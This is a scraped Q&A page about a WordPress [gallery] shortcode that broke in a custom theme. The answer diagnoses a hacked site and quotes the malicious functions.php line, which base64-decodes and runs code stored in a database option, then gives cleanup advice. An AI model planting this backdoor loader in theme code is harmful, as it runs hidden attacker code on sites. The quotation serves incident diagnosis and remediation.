Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Default Wordpress [gallery] not showing up in custom theme

Everything was fine, until recent updates. [gallery] is not showing images anymore, and it also looks like it is not contained in code.

Here is the loop for page:

<?php
    // Start the loop.
    while ( have_posts() ) : the_post();?>
        <article id="post-<?php the_ID(); ?>" <?php post_class(); ?> role="article">
            <h1 class="entry-title"><?php the_title(); ?></h1>
                <div class="entry-content">
                    <?php the_content(); ?>
                </div><!-- .entry-content -->
        </article><!-- #post-<?php the_ID(); ?> -->
<?php   
    // End the loop.
    endwhile;
?>

Text content from the_content is showing up, but [gallery], which is in content, is not showing nor render into code (so problem should not be in javascript).

And here is the functions.php file: http://pastebin.com/vfJpphgt (yes, I have added theme support for gallery but no change)

like image 969
Ernest Sawyer Avatar asked Jul 07 '15 11:07

Ernest Sawyer


People also ask

Why are my pictures not showing up on WordPress?

WordPress Media Library Not Showing Images If your Media Library is loading but not showing images, there are two primary causes: an incompatible plugin, and improper file permissions. Testing plugins follows the same advice as above, and if they're not the cause, file permissions may be.

How do I change the default picture in WordPress theme?

Upon activating the plugin, you need to go to Settings » Media and click on the Select Default Featured Image button. Select an image from your computer and make sure to save the changes.

How do I embed a gallery in WordPress?

First, you need to edit the post or page where you want to add the image gallery. On the post edit screen, click on the Add New Block icon and select the Gallery block. This will add the Gallery block to your WordPress editor where you can click on the 'Upload' button to upload photos from your computer.

Where is the gallery in WordPress?

Click the Add Media button below the title. Click Create Gallery on the left-hand side of the page. Upload your images, or select them from your media library as shown below.


1 Answers

You're site got hacked.

The last line of the pastebin is loading malicious code from your database: add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>

The executed code will mess up the WPQuery for retrieving your Gallery media files. That's why the [gallery] is broken. (Actually you can be lucky about that part.)

You can find an entry about this malware at sucuri.net. You should check all of your files on the server for the suspicious line. Although the most likely path of attack is via a WordPress vulnerability, you should change all your passwords in WordPress and on the server.

AFTER you removed the malware, you can clean your WordPress with tools like Wordfence (I have no affiliation to the plugin or its authors).

like image 74
mrgrain Avatar answered Sep 20 '22 17:09

mrgrain